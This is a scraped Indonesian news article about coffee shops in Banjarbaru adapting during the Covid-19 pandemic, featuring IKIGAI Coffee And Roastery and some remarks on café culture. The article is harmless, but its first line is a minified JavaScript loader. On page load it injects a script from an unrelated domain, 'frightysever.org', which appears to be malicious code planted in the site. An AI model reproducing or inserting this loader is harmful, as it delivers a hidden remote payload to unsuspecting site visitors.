(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Adu ‘Jurus’ Bisnis Coffee Shop di Banjarbaru Merayu Pengunjung di Tengah Pandemi


KANALKALIMANTAN.COM, BANJARBARU– Bisnis coffee shop di Banjarbaru sempat tumbuh bak jamur di musim hujan. Setiap jalan protokol hingga sudut-sudut gang, mudah saja ditemui kafe-kafe baru yang menawarkan bermacam konsep dan menu untuk memanjakan pengunjung.

Namun pandemi Covid-19, bisnis coffe shop dihadapkan pada tantangan cukup berat. Kebijakan pembatasan sosial dan pengurangan jam operasional, bahkan menjadi salah satu pukulan keras yang diterima pelaku bisnis sektor ini.

Pada situasi seperti ini, terobosan bisnis coffee shop untuk kembali merebut pelanggan menjadi kunci untuk bertahan hidup!

Hal ini sebagaimana disampaikan Akhmad Faqih Permadi, pemilik dari IKIGAI Coffee And Roastery, yang berlokasi di Jl Karang Anyar 1 Balitan, Kecamatan Banjarbaru Utara. Kepada Kanalkalimantan.com, Faqih menuturkan bagaimana langkahnya untuk tetap eksis dalam bisnis yang penuh persaingan tersebut.

“Di tengah banyaknya kompetitor dan larangan pemerintah agar jangan ada kerumunan di masa pandemi Covid-19, bisnis coffee shop harus mampu menawarkan konsep untuk merayu pengunjung,” katanya.

Bagi Faqih, kafe harus bisa menghadirkan konsep jitu yang bisa menarik konsumen. Termasuk menghadirkan ruang desain yang instragramneble agar pengunjung lebih betah nongkrong.

“Ini menjadi PR (pekerjaan rumah) untuk menghidupi kafe dalam persaingan usaha yang makin ketat. Maklum saja, semakin menguntungkan sektor usaha maka makin banyak diserbu pemain baru,” ungkapnya.

Nah, di IKIGAI Coffee And Roastery salah satu terobosan yang dilakukan adalah bukan hanya sekadar kopi, tapi juga mengolah kopi.

“Seperti caffee shop kebanyakan di luar sana hanya menjual produk kopi. Sementara roastery, mengolah kopi mulai dari biji kopi mentah yang dipanggang sendiri, teknik, dan waktu pemanggangan hingga penyajian kopi sangat diperhatikan. Ini juga bisa dijadikan daya tarik untuk pengunjung yang ingin tahu proses pengolahan kopi yang nikmat,” terangnya.

Faqih menjelaskan, di IKAGI kopi bisa diolah sesuai selera pelanggan. Sehingga aroma saat pengolahan kopi bisa langsung tercium di hidung konsumen.

“Biji kopi biasanya kami mengambil langsung dari petani di Banyuwangi,” katanya.

Tak hanya itu, Faqih juga mensupply kopi ke kafe-kafe di kawasan Banjarbaru.

“Jadi kita kirim hasil kopi yang kita buat dari biji kopi sehingga cukup membuat nama caffee IKAGI dikenal,” tambahnya.

Di sisi lain, Wawan (26), salah seorang penikmat kopi yang ditemui mengatakan, cita rasa kopi menjadi hal utama selain lokasi yang menarik dari coffee shop.

“Saya sendiri sebagai penyuka kopi, tentu lebih dahulu mengutamakan rasa kopi daripada tempat nongkrongnya. Meskipun, itu juga bisa menambahkan suasana ketika nongkrong bersama teman-teman, kalau tempatnya bagus tentu semakin betah,” katanya.

 

Coffee Shop dan Budaya Nongkrong

Sebuah buku berjudul “Coffee Shops: Exploring Urban Sociability and Social Class in the Intersection of Public and Private Space” (2018) yang ditulis Rose Pozos-Brewer, disebutkan bahwa kafe bukan hanya tempat minum. Tapi juga ruang untuk mempertemukan orang dan menjalin ‘kesendirian’ bersama-sama.

Ini, bisa dilihat dari lazimnya kafe dipakai untuk bekerja. Modalnya hanya laptop, colokan listrik, dan tentu saja, kopi itu sendiri.

Dalam sejarahnya, hadirnya tempat nongkrong di kafe juga menstimulus hadirnya budaya yang konstruktif.

“Secara historis, kedai kopi memperoleh ketenaran sebagai tempat untuk diskusi intelektual, debat politik, dan ekspresi sosial. Adam Smith menulis risalah politiknya yang berpengaruh, The Wealth of Nations, di sebuah kedai kopi. Principia Mathematica yang inovatif dari Isaac Newton tumbuh dari tantangan untuk menyelesaikan pertengkaran di kedai kopi,” tulis Catherine Tucker dalam buku berjudul Coffee Culture: Local Experiences, Global Connections (2010).

(kanalkalimantan.com/dewi)

 

Reporter : Dewi
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

2 menit ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

14 menit ago

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

2 jam ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

6 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

9 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

9 jam ago

This website uses cookies.